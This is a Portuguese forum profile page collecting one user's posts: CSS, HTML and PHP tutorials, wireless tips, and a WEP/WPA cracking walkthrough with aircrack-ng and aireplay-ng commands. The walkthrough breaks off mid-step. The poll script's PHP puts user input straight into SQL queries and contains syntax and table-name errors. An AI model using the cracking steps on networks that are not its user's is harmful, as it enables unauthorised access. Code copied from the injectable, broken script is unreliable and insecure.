Ir para conteúdo
Faça parte da equipe! (2024) ×
Conheça nossa Beta Zone! Novas áreas a caminho! ×

Regis~

Steel Member
  • Total de Posts

    93
  • Registro em

  • Última visita

  • WCoins

    0

Posts postados por Regis~

  1. A pedido de um amigo estarei postando aqui um pequeno tutorial de CSS avançado.

     

    Tutorial Avançado de CSS - A Propriedade Display

     

    Um truque chave na manipulação de elementos HTML é entender que não existe absolutamente nada especial no modo como a maioria deles funciona. A maioria das páginas pode ser feita com apenas algumas tags que podem ser estilizadas do jeito que você quiser. A representação visual padrão do navegador da maioria dos elementos HTML consiste apenas de diversos estilos de fontes, margens, espaçamentos e, principalmente, tipo de exibição (display type).

     

    Os tipos de exibição mais básicos são inline, block-line e none e eles podem ser manipulados com a propriedade CSS display e os valores inline, block e none.

     

    inline significa “na linha” e faz só o que diz – elementos do tipo inline seguem o fluxo de uma linha. Os elementos ênfase forte ( <strong> ), âncora ( <a> ) e ênfase ( <em> ) geralmente são exibidos inline.

     

    block coloca uma quebra de linha antes e depois do elemento. Os elementos cabeçalho ( <h1> até <h6> ) e parágrafo ( <p> ) geralmente são mostrados em blocos. São os chamados “elementos de bloco”.

     

    none, bem, não mostra o elemento. Pode soar meio inútil mas pode ser usado para bons efeitos relacionados à acessibilidade (veja Links Acessíveis), folhas de estilo alternativas ou efeitos avançados de hover ( = mouse sobre o elemento).

     

    A folha de estilos original para o site HTML Dog, por exemplo, manipula alguns elementos tradicionalmente inline e de bloco para se ajustar ao design.

     

    h1 {

    display: inline;

    font-size: 2em;

    }

     

    #cabecalho p {

    display: inline;

    font-size: 0.9em;

    padding-left: 2em;

    }

     

    O código abaixo é usado em folhas de estilo apenas para impressão e basicamente “desliga” esses elementos, como navegação, que são insignificantes em páginas impressas.

     

    #navegacao, #vejaTambem, #comentarios {

    display: none;

    }

     

     

    A diferença entre display: none e visibility:hidden é que display: none retira completamente o elemento da jogada, enquanto visibility: hidden mantém o elemento e o espaço que ele ocupa na página, sem representar visualmente seu conteúdo. Por exemplo, se o segundo parágrafo numa página com três fosse definido como display: none, o terceiro parágrafo ia subir pra perto do primeiro, mas se o segundo parágrafo fosse definido como visibility: hidden, existiria um espaço vazio entre o primeiro e o terceiro, onde o parágrafo ia estar.

     

    Tabelas

    Talvez o melhor jeito de entender os valores da propriedade display relacionadas a tabelas é pensar em tabelas HTML. Os valores table, table-row e table-cell imitam os elementos table, tr e td, respectivamente.

     

    A propriedade display vai além, oferecendo os valores table-column (coluna de tabela), table-row-group (grupo de linhas), table-column-group (grupo de colunas), table-header-group (grupo de cabeçalhos da tabela), table-caption (legenda da tabela), todos auto-explicativos. Usar esses valores permite fazer com que qualquer conjunto de elementos HTML seja visualizado como uma tabela. O benefício mais óbvio desses valores é que você pode construir uma tabela através de suas colunas, ao invés do método baseado em linhas do HTML.

     

    Por último, o valor inline-table basicamente faz com que a tabela não tenha quebras de linha antes e depois.

     

    Ficar fascinado por tabelas com CSS pode prejudicar seriamente sua acessibilidade. HTML deve ser usado pra comunicar significado, então se você tem dados tabulares eles devem ser organizados em tabelas HTML. Usar apenas tabelas CSS pode resultar numa mistura de dados completamente ilegível sem CSS. Mal, muito mal.

     

    Outros tipos de exibição

    list-item (“item de lista”) é auto explicativo, e é mostrado do jeito que você geralmente espera que um elemento li seja. Pra funcionar direito, elementos com esse tipo de exibição devem ser aninhados em um elemento ul ou ol.

     

    run-in faz com que um elemento seja inline ou de bloco dependendo do tipo de exibição de seu elemento pai. Ele não funciona no IE nem em navegadores baseados no Mozilla. Muito útil, não é?

     

    compact também faz com que um elemento seja inline ou de bloco dependendo do contexto. Também não funciona tão bem…

     

    marker é usado exclusivamente com os pseudo elementos :before e :after pra definir o display do valor da propriedade content. O display padrão para a propriedade content já é marker, então isso só é útil se você estiver sobrescrevendo a propriedade display para um pseudo elemento

     

    -----------------------------

     

    Tutorial Avançado de CSS – Layout da Página

     

    Construir layouts com CSS é fácil. Se você está acostumado a desenhar suas páginas com tabelas, no começo usar CSS pode parecer difícil, mas não é, é apenas diferente e na verdade faz bem mais sentido.

     

    Você precisa ver cada parte da página como um pedaço individual que você pode empurrar em qualquer lugar que você quiser. Você pode posicionar esses pedaços de modo aboluto ou em relação a outro pedaço.

     

    Posicionamento

    A propriedade position é usada pra definir se um elemento está posicionado de forma absoluta (valor absolut), relativa (relative), estática (static) ou fixa (fixed).

     

    O valor static é o valor padrão e renderiza os elementos na ordem normal, como eles aparecem no HTML.

     

    relative é bem parecido com static, mas os elementos podem ser deslocados de sua posição original com as propriedades top (topo), right (direita), bottom (inferior) e left (esquerda).

     

    absolute empurra um elemento pra fora do fluxo normal do HTML e o coloca em seu próprio mundo. Em seu pequeno e louco mundo, o elemento absoluto pode ser colocado em qualquer lugar na página usando top, right, bottom e left pra definir a distância de cada lado.

     

    fixed funciona como absolute, mas o elemento vai ser posicionado em relação à janela e não em relação à página, então, teoricamente, um elemento fixado deve ficar exatamente onde ele está na tela mesmo quando a página é rolada. Por que teoricamente? Pelo motivo de sempre – isso funciona perfeitamente em navegadores como Mozilla e Opera, mas no IE não funciona de jeito nenhum.

     

    Layout usando posicionamento absoluto

    Você pode criar um layout tradicional com duas colunas usando posicionamento absoluto se você tem algo como o HTML seguinte:

    <div id="navegacao">

    <ul>

    <li><a href="esse.html">Esse</a></li>

    <li><a href="aquele.html">Aquele</a></li>

    <li><a href="oOutro.html">O Outro</a></li>

    </ul>

    </div>

     

    <div id="conteudo">

    <h1>Ra ra banjo banjo</h1>

    <p>Bem-vindo à página Ra ra banjo banjo page. Ra ra banjo banjo. Ra ra banjo banjo. Ra ra banjo banjo.</p>

    <p>(Ra ra banjo banjo)</p>

    </div>

     

    E se você aplicar o CSS abaixo:

    #navegacao {

    position: absolute;

    top: 0;

    left: 0;

    width: 10em;

    }

     

    #conteudo {

    margin-left: 10em;

    }

     

    A única desvantagem de elementos posicionados absolutamente é que eles vivem num mundo próprio, não existe nenhum jeito preciso de determinar aonde eles vão parar. Se você for usar os exemplos acima e todas as suas páginas têm barras de navegação pequenas e áreas de conteúdo grandes, tudo bem. Mas, especialmente quando usar valores relativos para larguras e tamanhos, você geralmente tem que abandonar qualquer esperança de posicionar qualquer coisa, como um rodapé, embaixo desses elementos. Se você quiser fazer algo assim vai ser necessário flutuar todos os seus pedaços, ao invés de posicioná-los absolutamente.

     

    Flutuando

    Flutuar um elemento vai deslocá-lo para a direita ou esquerda de uma linha, com o conteúdo fluindo ao seu redor.

     

    Flutuar normalmente é usado para posicionar elementos menores em uma página (Veja o exemplo :first-letter na página sobre Pseudo Elementos), mas também pode ser usada para porções maiores, como colunas de navegação.

     

    Usando o HTML do exemplo acima, você pode aplicar o CSS seguinte:

     

    #navegacao {

    float: left;

    width: 10em;

    }

     

    #navegacao2 {

    float: right;

    width: 10em;

    }

     

    #conteudo {

    margin: 0 10em;

    }

     

    Se você não quer que o póximo elemento envolva os elementos flutuando, você pode aplicar a propriedade clear (limpar). clear: left vai limpar elementos flutuados para a esquerda, clear:right vai limpar elementos flutuados para a direita e clear: both vai limpar elementos flutuados para a esquerda e direita. Então se, por exemplo, você quiser um rodapé na sua página, você pode usar um pedaço de HTML com a id ‘rodape’ e adicionar o CSS seguinte:

     

    #rodape {

    clear: both;

    }

     

    E aí está. Um rodapé que vai aparecer debaixo de todas as colunas, independente do tamanho de qualquer uma delas.

     

    Essa foi uma introdução geral sobre posicionamento e flutação, com ênfase nos ‘pedaços’ maiores de uma página, mas lembre-se que esses métodos podem ser aplicados também em qualquer elemento dentro desses pedaços. Com uma combinação de posicionamento, flutuação, margens, paddings (enchimentos) e bordas, você pode representar QUALQUER design web.

     

    Qualquer coisa que puder ser feita com tabelas pode ser feita melhor com CSS. A ÚNICA razão para usar tabelas na construção do layout é se você está tentando acomodar navegadores anciãos, que não suportam CSS.

     

    Para se aprofundar na construção de layouts com CSS, é altamente recomendado que você acompanhe o tutorial “Criando um Layout com CSS a partir do zero“, feito pelo Subcide e traduzido pelo Café com Gelo. E não esqueça de conferir o código-fonte dos exemplos dessa página – é importante!

     

    É aqui que CSS mostra mesmo suas vantagens – ele resulta numa página altamente acessível com apenas uma pequena fração do peso de uma página equivalente baseada em tabelas.

     

    -----------------

     

    Tutorial Avançado de CSS: Pseudo Elementos

     

    Pseudo elementos se ligam a seletores do mesmo jeito das pseudo classes, na forma seletor : pseudoelemento { propriedade: valor; }. Existem quatro pseudo elementos.

     

    Primeira Letra e Primeira Linha

    O pseudo elemento first-letter é aplicado à primeira letra de um elemento e first-line à primeira linha. Você pode, por exemplo, criar letras capitulares (drop caps) e parágrafos com a primeira linha em negrito dessa forma:

     

    p:first-letter {

    font-size: 3em;

    float: left;

    }

     

    p:first-line {

    font-weight: bold;

    }

     

    Before e after

    Os pseudo elementos before (antes) e after (depois) são usados em conjunto com a propriedade content pra colocar conteúdo de qualquer lado de um elemento sem tocar no HTML.

     

    O valor da propriedade content pode ser open-quote (aspas de abertura), close-quote (aspas de fechamento), no-open-quote (sem aspas de abertura), no-close-quote (sem aspas de fechamento), qualquer texto delimitado por aspas duplas ou qualquer imagem usando url(nomedaimagem).

     

    blockquote:before {

    content: open-quote;

    }

     

    blockquote:after {

    content: close-quote;

    }

     

    li:before {

    content: "POW: "

    }

     

    p:before {

    content: url(images/jam.jpg)

     

    Espero ter ajudado pois fiquei atarde inteira fazendo o post. suahsuah mt tempo sem mexer com CSS sauhsaus - ta aew! Edu

  2. NTVDM.EXE é responsavel pela inicialização de programas, tente ver se no " Gerenciador de Tarefas do Windowns " tem o seguinte programa inicializado " NTVDM.EXE " si tiver fexeo, se nn tiver só com a |Formatação| de seu computador!, espero ter ajudado !

  3. 1. Criando o arquivo para votar:

     

    Cria um ficheiro html e escreve a tua pergunta e respostas como

    no exemplo seguinte:

     

    <HTML>

    <HEAD>

    <TITLE>votação</TITLE>

    </HEAD>

    <BODY>

    <FONT SIZE="3">Qual a sua base de dados preferida?</FONT><BR>

    <FORM NAME="votação" ACTION="votacao.php" METHOD="get">

    <INPUT TYPE="radio" NAME="escolha" VALUE="1">MySQL<BR>

    <INPUT TYPE="radio" NAME="escolha" VALUE="2">msSQL<BR>

    <INPUT TYPE="radio" NAME="escolha" VALUE="3">PostgreSQL<BR>

    <INPUT TYPE="radio" NAME="escolha" VALUE="4">ODBC<BR>

    </FORM>

    </BODY>

    </HTML>

     

     

    2. Criando a tabela no MySQL:

     

    Na shell do MySQL digite após selecionar uma Base de Dados escreva o seguinte código:

     

    CREATE TABLE votacao (id INT(2) NOT NULL auto_increment primary key, descricao CHAR(50), votos CHAR(4));

     

    Muito bem, a tabela foi criada e está pronta a usar. Para continuar, da mesma forma que criá-mos a tabela vamos agora inserir os seguintes códigos para adicionar as opções na tabela:

    INSERT INTO votacao (descricao,votos) VALUES ("MySQL","0");

    INSERT INTO votacao (descricao,votos) VALUES ("msSQL","0");

    INSERT INTO votacao (descricao,votos) VALUES ("PostgreSQL","0");

    INSERT INTO votacao (descricao,votos) VALUES ("ODBC","0");

     

    Repara que só são adicionadas a descrição e os votos, mas não o ID, justamente

    porque quando a tabela foi criada foi designada a função de AUTO_INCREMENT, o que fará com que ela automaticamente incremente o valor.

     

     

    3. Criar o PHP que fará todo o trabalho:

     

    Cria um ficheiro chamado votação.php e dentro dele coloque o seguinte código que será explicado detalhadamente:

     

    <?

     

    if ($escolha != "") { // Verifica se foi inserido um voto e prossegue em frente no caso de verdade

     

    // Variáveis a serem alteradas

     

    $mysql_host = ""; // local do servidor MySQL

    $mysql_user = "": // utilizador do MySQL

    $mysql_pass = ""; // senha do utilizador do MySQL

    $mysql_dtbs = ""; // base de dados onde a tabela foi criada

     

    $num_resp = ""; // número de opções na tua votação

    $pergunta = ""; // pergunta da votação

     

    // Nada mais a ser alterado

     

    $mysql_conx = mysql_connect($mysql_host,$mysql_user,$mysql_pass);

    // ligação ao MySQL

     

    $radio = $num_resp + 1;

    // para uso posterior

     

    mysql_select_db($mysql_dtbs);

    // seleciona a base de dados

     

    // aqui começa todo o trabalho do PHP para actualizar a base de dados

     

    $query_upd = "SELECT * FROM votacao WHERE id=$escolha";

    $resul_upd = mysql_query($query_upd);

    // aqui o PHP selecciona apenas os registos que coincidem com a escolha, neste

    // caso so uma opção

     

    $obj_upd = mysql_fetch_object($resul_upd);

    // o comando mysql_fetch_object() separa os resultados de uma query por colunas

    // neste caso, $obj_upd -> descrição da opção que o utilizador votou

     

    $vot_upd = $obj_upd->votos;

    $vot_upd++;

    // separa só os votos e adicinona mais um voto

     

    $upd_upd = "UPDATE votacao SET votos=$vot_upd WHERE id=$escolha";

    mysql_query($upd_upd);

    // atualizou a base de dados

     

    // Agora o PHP fará a pesquisa na base de dados e retornará as opções, seus

    // respectivos votos, total de votos e a sua escolha.

     

    echo "<H3>" . $pergunta . "</H3>";

     

    for($i=1;$i<$radio;$i++) {

     

    $query[$i] = "SELECT * FROM votação WHERE id=$i";

    $resul[$i] = mysql_query($query[$i]);

    $objet[$i] = mysql_fetch_object($resul[$i]);

     

    echo "<FONT FACE=\"Verdana\" SIZE=\"1\"><B>" . $objet[$i]->opcao . "</B> " . $objet[$i]->descricao . "<B> " . $objet[$i]->votos . "</B><BR>";

     

    $tot_vt += $objet[$i]->votos;

     

    // tudo isto serve para requisitar o resultado de cada opção e exibir no écran

     

    }

    echo "<FONT SIZE=\"1\"><B>Total de votos:</B>" . $tot_vt . "   <B>Sua Escolha</B>:" . $escolha . "</FONT></FONT>";

    }

    ?>

  4.  

    'TAGS' BÁSICOS

     

    <html></html>

    Inicia/termina um documento em HTML.

     

    <head></head>

    Define a àrea de cabeçalho, com elementos não visualisáveis na página.

     

    <body></body>

    Define a área visível do documento.

     

     

    CABEÇALHO

     

    <title></title>

    Coloca o nome da página na barra de título da janela.

     

     

     

    ATRIBUTOS DO CORPO

     

    <body bgcolor=?>

    Cor de fundo.

     

    <body text=?>

    Cor de texto.

     

    <body link=?>

    Cor das links.

     

    <body vlink=?>

    Cor das links previamente visitadas.

     

    <body alink=?>

    Cor da link activa.

     

     

    TEXTO

     

    <b></b>

    Texto carregado.

     

    <i></i>

    Texto em itálico.

     

    <tt></tt>

    Texto estilo máquina de escrever, monoespaçamento.

     

    <font size=?></font>

    Tamanho das letras.

     

    <font color=?></font>

    Cor das letras.

     

    <font face=?></font>

    Define a fonte utilizada.

     

     

     

     

    LINKS

     

    <a href="URL"></a>

    Cria uma hiperligação.

     

    <a href="mailto:EMAIL"></a>

    Cria uma link para o envio de correio.

     

    <a name="NOME"></a>

    Cria um 'alvo' dentro de uma página.

     

    <a href="#NAME"></a>

    Faz a ligação a um 'alvo' presente dentro da mesma página.

     

     

    FORMATAÇÃO

     

    <p></p>

    Define a área de um parágrafo.

     

    <p align=?>

    Alinhamento de um parágrafo.

     

    <br>

    Insere uma quebra de linha.

     

    <div align=?>

    'Tag' genérico utilizado para formatar blocos de texto.

     

     

    GRAFISMO

     

    <img src="FICHEIRO">

    Insere uma imagem.

     

    <img src="FICHEIRO" align=?>

    Alinha uma imagem em relação ao resto do texto.

     

    <img src="FICHEIRO" border=?>

    Define a borda da imagem.

     

    <hr>

    Insere uma linha horizontal.

     

     

    TABELAS

     

    <table></table>

    Cria uma tabela.

     

    <tr></tr>

    Linha de uma tabela

     

    <td></td>

    Célula individual numa linha.

     

     

    ATRIBUTOS DAS TABELAS

    <table border=#>

    Borda à volta de cada célula.

     

    <table cellspacing=#>

    Espaço entre as células.

     

    <table cellpadding=#>

    Margem interior das células.

     

    <table width=# or %>

    Largura da tabela - em pixels ou percentagem.

     

    <tr align=?> or <td align=?>

    Alinhamento horizontal do conteúdo das células.quot;left", "center" ou "right")

     

    <tr valign=?> or <td valign=?>

    Alinhamento vertical do conteúdo das células.("top", "middle" ou "bottom")

     

    <td colspan=#>

    Numero de colunas 'percorridas' por uma célula.

     

    <td rowspan=#>

    Numero de linhas 'percorridas' por uma célula.

     

    FRAMES

     

    <frameset></frameset>

    Define o conjunto de frames. Surge antes de <body> num documento com frames.

     

    <frameset rows="valor,valor">

    Define as linhas num conjunto de frames. Valor pode ser em pixels, percentagem ou * (o resto / proporção).

     

    <frameset cols="valor,valor">

    Define as colunas num conjunto de frames. Valor pode ser em pixels, percentagem ou * (o resto / proporção).

     

    <frame>

    Define uma unica frame. Surge dentro de <frameset>.

     

    <noframes></noframes>

    Área onde é inserido o conteúdo visivel em browsers que não suportam o uso de frames.

     

    ATRIBUTOS DE UMA FRAME

     

    <frame src="URL">

    Especifica o documento HTML a ser exibido na frame.

     

    <frame name="nome">

    Dá um nome à frame de modo a poder ser 'linkada' a partir de outras frames.

     

    <frame scrolling=VALOR>

    Define se a frame tem barra de scroll. VALOR pode ser "yes", "no" ou "auto".

     

    <frame noresize>

    Impede o visitante de redimensionar a frame.

     

     

  5. Funções Genéricas

     

    Array

     

    array array(...);

     

    É a função que cria um array a partir dos parâmetros forncidos. É possível fornecer o índice de cada elemento. Esse índice pode ser um valor de qualquer tipo, e não apenas de inteiro. Se o índice não for fornecido o PHP atribui um valor inteiro sequencial, a partir do 0 ou do último índice inteiro explicitado. Vejamos alguns exemplos:

     

    Exemplo 1

    $teste = array("um", "dois","tr"=>"tres",5=>"quatro","cinco");

     

    Temos o seguinte mapeamento:

    0 => "um" (0 é o primeiro índice, se não houver um explicito)

    1 => "dois" (o inteiro seguinte)

    "tr" => "tres"

    5 => "quatro" (valor explicitado)

    6 => "cinco" (o inteiro seguinte ao último atribuído, e não o próximo valor, que seria 2)

     

    Exemplo 2

    $teste = array("um", 6=>"dois","tr"=>"tres",5=>"quatro","cinco");

     

    Temos o seguinte mapeamento:

    0 => "um"

    6 => "dois"

    "tr" => tres

    5 => "quatro" (seria 7, se não fosse explicitado)

    7 => "cinco" (seria 6, se não estivesse ocupado)

     

    Em geral, não é recomendável utilizar arrays com vários tipos de índices, já que isso pode confundir o programador. No caso de realmente haver a necessidade de utilizar esse recurso, deve-se ter bastante atenção ao manipular os índices do array.

     

    range

     

    array range(int minimo, int maximo);

     

    A função range cria um array cujos elementos são os inteiros pertencentes ao intervalo fornecido, inclusive. Se o valor do primeiro parâmetro for maior do que o do segundo, a função Devolve false (valor vazio).

     

    shuffle

     

    void shuffle(array &arr);

     

    Esta função "embaralha" o array, ou seja, troca as posições dos elementos aleatoriamente e não Devolve valor algum.

     

    sizeof

     

    int sizeof(array arr);

     

    Devolve um valor inteiro contendo o número de elementos de um array. Se for utilizada com uma variável cujo valor não é do tipo array, Devolve 1. Se a variável não estiver setada ou for um array vazio, Devolve 0.

     

     

     

    Funções de "navegação"

     

     

    Toda variável do tipo array possui um ponteiro interno indicando o próximo elemento a ser acedido no caso de não ser especificado um índice. As funções seguintes servem para modificar esse ponteiro, permitindo assim percorrer um array para verificar seu conteúdo (chaves e elementos).

     

    reset

     

    mixed reset(array arr);

     

    O ponteiro interno aponta para o primeiro elemento do array, e devolve o conteúdo desse elemento.

     

    end

     

    mixed end(array arr);

     

    O ponteiro interno aponta para o último elemento do array, e devolve o conteúdo desse elemento.

     

    next

     

    mixed next(array arr);

     

    O ponteiro interno aponta para o próximo elemento do array, e devolve o conteúdo desse elemento.

     

    Obs.: esta não é uma boa função para determinar se um elemento é o último do array, pois pode devolver false tanto no final do array como no caso de haver um elemento vazio.

     

    prev

     

    mixed prev(array arr);

     

    O ponteiro interno aponta para o elemento anterior do array, e devolve o conteúdo desse elemento. Funciona de maneira inversa a next.

     

    pos

     

    mixed pos(array arr);

     

    Devolve o conteúdo do elemento actual do array, indicado pelo ponteiro interno.

     

    key

     

    mixed key(array arr);

     

    Funciona de maneira bastante semelhante a pos, mas em vez de devolver o elemento actual indicado pelo ponteiro interno do array, devolve o seu índice.

     

    each

     

    array each(array arr);

     

    Devolve um array contendo o índice e o elemento actual indicado pelo ponteiro interno do array. o valor da devolução é um array de quatro elementos, cujos índices são 0, 1, "key" e "value". Os elementos de índices 0 e "key" armazenam o índice do valor atual, e os elementos de índices 1 e "value" contém o valor do elemento atual indicado pelo ponteiro.

    Esta função pode ser utilizada para percorrer todos os elementos de um array e determinar se já foi encontrado o último elemento, pois no caso de haver um elemento vazio, a função não devolverá o valor false. A função each só devolve false depois q o último elemento do array foi encontrado.

     

    Exemplo:

     

    função que percorre todos os elementos de um array e imprime seus índices e valores

     

    function imprime_array($arr) {

    reset($arr);

    while (list($chave,$valor) = each($arr))

    echo "Chave: $chave. Valor: $valor";

    }

     

     

     

    Funções de ordenação

     

    São funções que servem para ordenar os elementos de um array de acordo com determinados critérios. Estes critérios são: manutenção ou não da associação entre índices e elementos; ordenação por elementos ou por índices; função de comparação entre dois elementos.

     

    sort

     

    void sort(array &arr);

     

    A função mais simples de ordenação de arrays. Ordena os elementos de um array em ordem crescente, sem manter os relacionamentos com os índices.

     

    rsort

     

    void rsort(array &arr);

     

    Funciona de maneira inversa à função sort. Ordena os elementos de um array em ordem decrescente, sem os manter os relacionamentos com os índices.

     

    asort

     

    void asort(array &arr);

     

    Tem o funcionamento bastante semelhante à função sort. Ordena os elementos de um array em ordem crescente, porém mantém os relacionamentos com os índices.

     

    arsort

     

    void arsort(array &arr);

     

    Funciona de maneira inversa à função asort. Ordena os elementos de um array em ordem decrescente e mantém os relacionamentos dos elementos com os índices.

     

    ksort

     

    void ksort(array &arr);

     

    Função de ordenação baseada nos índices. Ordena os elementos de um array de acordo com seus índices, em ordem crescente, mantendo os relacionamentos.

     

    usort

     

    void usort(array &arr, function compara);

     

    Esta é uma função que utiliza outra função como parâmetro. Ordena os elementos de um array sem manter os relacionamentos com os índices, e utiliza para efeito de comparação uma função definida pelo utilizador, que deve comparar dois elementos do array e devolver 0, 1 ou -1, de acordo com qualquer critério estabelecido pelo utilizador.

     

    uasort

     

    void uasort(array &arr, function compara);

     

    Esta função também utiliza outra função como parâmetro. Ordena os elementos de um array e mantém os relacionamentos com os índices, utilizando para efeito de comparação uma função definida pelo utilizador, que deve comparar dois elementos do array e devolver 0, 1 ou -1, de acordo com qualquer critério estabelecido pelo utilizador.

     

    uksort

     

    void uksort(array &arr, function compara);

     

    Esta função ordena o array através dos índices, mantendo os relacionamentos com os elementos., e utiliza para efeito de comparação uma função definida pelo utilizador, que deve comparar dois índices do array e devolver 0, 1 ou -1, de acordo com qualquer critério estabelecido pelo utilizador.

     

  6. Não há como negar que uma rede wireless é muito mais prática do que uma estrutura montada com cabos. Uma rede sem fio permite que um notebook seja, de fato, portátil – afinal de nada adianta uma bateria que dure horas se tivermos que conectar um fio ao laptop para acessar a internet.

     

    Parando pra pensar, até um desktop – em que pesem seu tamanho e peso – ganha em mobilidade. Uma migração de aposento, da sala para o quarto por exemplo, não exigirá esforços com adaptações físicas dos cabos de acesso à rede e à internet.

     

     

    Mas, além de instalar sua rede sem fio, você também pode – e deve – lançar mão de alguns detalhes que podem fazer muita diferença na qualidade do sinal que vai utilizar. Eis cinco dicas da PC World para você aperfeiçoar o wireless do seu lar - e até em seu escritório.

     

     

    1- Mantenha o roteador centralizado em relação à sua casa

    Dessa forma você poderá usufruir melhor da mobilidade oferecida pela tecnologia wireless, pois a qualidade do acesso tenderá a ser igual em qualquer parte da casa.

     

     

    Além disso, instale-o numa posição mais alta em relação ao pé-direito de sua casa. Afinal, quanto menos anteparos o sinal tiver de atravessar, melhor. E saiba que nem só as paredes são obstáculos para a circulação do sinal: plantas, aquários e eletrodomésticos como microondas, por exemplo, interferem na propagação do sinal.

     

    2- Instale um repetidor

    Repetidores de sinal wireless aumentam o alcance de sua rede, eliminando os chamados pontos cegos, sem a necessidade de se usar nenhuma fiação. Posicione-o na metade do caminho entre o seu ponto de acesso e seu computador.

     

     

    Dessa forma, você deverá ganhar automaticamente uma melhora significativa na força do sinal. Não se esqueça de também posicioná-lo em uma altura minimamente razoável, para evitar obstáculos.

     

    3- Evite deixar o seu PC no chão

    Com seu computador a uma altura zero, a distância até o roteador tenderá a ser maior, assim como as chances de haver mais anteparos no trajeto das ondas. Se o gabinete de seu desktop tiver que ficar no chão por algum motivo de força maior, você pode usar um extensor USB para colocar a antena em uma altura mais elevada.

     

     

    4- Procure atualizar o firmware

    O firmware de um roteador é comparável ao sistema operacional de um PC. Ffabricantes, de tempos em tempos, disponibilizam aperfeiçoamentos para os roteadores. Para ficar atualizado, visite sempre o site da fabricante do seu dispositivo, checando pelos downloads mais recentemente disponibilizados.

     

    Mas atenção, antes de fazer atualizações desse tipo, é conveniente fazer um backup do firmaware antigo, bem como das configurações do equipamento.

     

     

    5- Evite gargalos

    Procure não misturar componentes de padrões diferentes na composição da sua rede. De nada adianta, por exemplo, comprar um roteador N (802.11n), que pode funcionar a velocidades de 74 megabits por segundo (Mbps), e ter uma placa em seu notebook ou desktop padrão B ou G (802.11b/g). A velocidade em que sua rede sem fio vai trabalhar será sempre a menor e, nesse caso, cairá para cerca de 4,5 Mbps.

     

     

  7. Alguns amigos meus relataram que alguns roteadores novos não estão possibilitando quebrar a senha WEP nem WPA. É importante lembrar que o sinal da sua placa wireless tem que estar forte. Aqui no blog, coloquei um post de como fazer uma antena wireless usando lata de batata pringles ou lata de óleo, também chamada de Cantenna. No site da aircrack também há alguns updates do software e de drivers.

     

    Há pelo menos uns quatro ou cinco softwares bons para quebrar segurança em redes que utilizam WEP ou WPA e o ataque, apesar de usar força bruta e um pouco de matemática, realmente funciona.

     

    O intuito aqui não é estimular o ataque às redes disponíveis e sim mostrar um pouco da fragilidade de segurança.

     

    Vamos aos fatos, ou melhor, aos artefatos

     

    Objetivos:

    =========

    – Pesquisar o modo que os pacotes são transmitidos pela rede sem fio;

    – Localizar uma forma de captar os pacotes através de um sniffer;

    – Quebrar a senha WEP / WPA;

     

    Minha pesquisa baseou-se inicialmente no modo em que os pacotes são enviados pela rede sem fio e de uma possível forma de captar os pacotes. A partir desse princípio, localizar uma forma de quebrar a criptografia do WEP e do WPA.

     

    A brincadeira consiste em deixar seu adaptador de rede sem fio no modo de monitoramento, para que seja capaz de ler os pacotes que estão “voando” e injetar de volta no AccessPoint gerando tráfego suficiente para a quebra da chave.

     

    O princípio é o mesmo usado no modo de capturamento de pacotes das redes que utilizam hub ou os antigos cabos coaxiais: Quem estiver “conectado” pode checar se aquela informação realmente lhe pertence. Se temos um adaptador wireless que esteja ao alcance do AccessPoint(AP), podemos verificar os pacotes.

     

    Nota 1:

    Você pode ler meu outro post que fala sobre a criação de uma Cantena ou Cantenna, usando uma lata de batata pringles, amplificando seu sinal. Para quem não acredita, realmente funciona.

     

    Nota 2:

    Para poder executar os passos aqui citados, sua placa de rede PRECISA TER SUPORTE AO MODO DE MONITORAMENTO E INJEÇÃO DE PACOTES!

     

    É necessário se cadastrar para acessar o conteúdo.

     

    Nota 3:

    Se você tiver que comprar uma placa de rede Wireless, aproveite para achar uma que tenha conector para acoplar antena externa.

     

    Utilitários:

    ============

    – Notebook rodando Mandriva Linux 2008 (ou qualquer outra distribuição linux) dentro de uma Virtual Machine [abaixo explico os motivos]

    – Aircrack-ng, aireplay, airodump-ng [

    É necessário se cadastrar para acessar o conteúdo.
    ]

    – Adaptador Wireless USB GWL-G122 Revisão C [ Ver compatibilidade no site do Aircrack ]

     

    Por que usar linux ?

    Simples: O número de placas que possuem suporte ao modo de monitoramento e ao modo de injeção de pacotes é muito maior que no Windows. A maioria dos fabricantes desenvolve drivers que possuem este modo desabilitado para justamente evitar este tipo de “ataque”.

     

    Por que usar uma Virtual Machine ?

    Gosto de simplicidade: Meu notebook está com Windows e o trabalho para reparticionar o HD e instalar o linux no modo DualBoot não compensa. É mais simples aproveitar os benefícios da emulação de outro sistema operacional.

     

    Não está no escopo desse post os detalhes da instalação do Linux, mas se você tiver o VMWare (software responsável por emular SO’s), no próprio site do Aircrack já tem uma prontinha pra usar

     

    É necessário se cadastrar para acessar o conteúdo.

     

    Quebrando as senhas:

    ===================

     

    WEP

    Mais fácil de quebrar, pois o ataque apesar de usar força bruta, utiliza estatística e pedaços da chave enviado nos pacotes para acelerar a quebra.

     

    Quanto mais IV’s capturados pelo Aircrack, maior a chance de quebra. IV é um pacote capturado que pode ser usado para recuperar um pedaço de chave.

     

    Uma dica importante é não ficar esperando a rede enviar IV’s para você e sim você tentar aumentar o número de capturas com ataques ARP, chopchop e fragmentação.

     

    Todos os comandos deverão ser rodados em um terminal, logado como root:

     

    1 – Rode o comando abaixo para validar os AccessPoints ativos:

    aircrack-ng interface_rede

     

    Localize AccessPoint desejado e pare o comando com ctrl+c. Vamos filtrar a execução para garantir maior número de pacotes coletados, já que o scan é feito por canais de 1 a 12.

     

    2 – Filtre a rede desejada por canal / bssid e deixe ele parado rodando.

    aircrack-ng -c canal –bssid 00:00:00:00 -w arquivo_saida interface_rede

     

    Onde:

    canal = Canal mostrado pelo comando 1

    00:00:00:00 = Mac Address do AccessPoint escolhido para o ataque mostrado no comando 1

    arquivo_saida = Nome do arquivo que o aplicativo irá salvar e que será usado para capturar a senha

    interface_rede = Interface wireless usada (wifi0, rausb0, etc)

     

    Note que há colunas mostrando Beacons e IVs.

    Podemos considerar Beacons como lixo para o nosso ataque e IVs para os pacotes que realmente interessam.

     

    Consegui quebrar WEP com 5.000 IVs mas um número bom, gira em torno dos 80.000.

     

    3 – Abra um novo terminal para tentarmos uma autenticação FAKE

    aireplay-ng -1 0 -e nome -a bssid -h mac_sua_placa_rede interface_rede

     

    Onde:

    nome = ESSID da rede, ou melhor, o nome do AccessPoint que mostra pra você no comando 1

    bssid = BSSID da rede (mac address do AP)

    mac_sua_placa_rede = Mac Address da sua placa de rede

    interface de rede = interface da rede wifi

     

    Comando exemplo:

    aireplay-ng -1 0 -e RedeWireless -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 rausb0

     

    Se o comando funcionar, você verá um resultado assim:

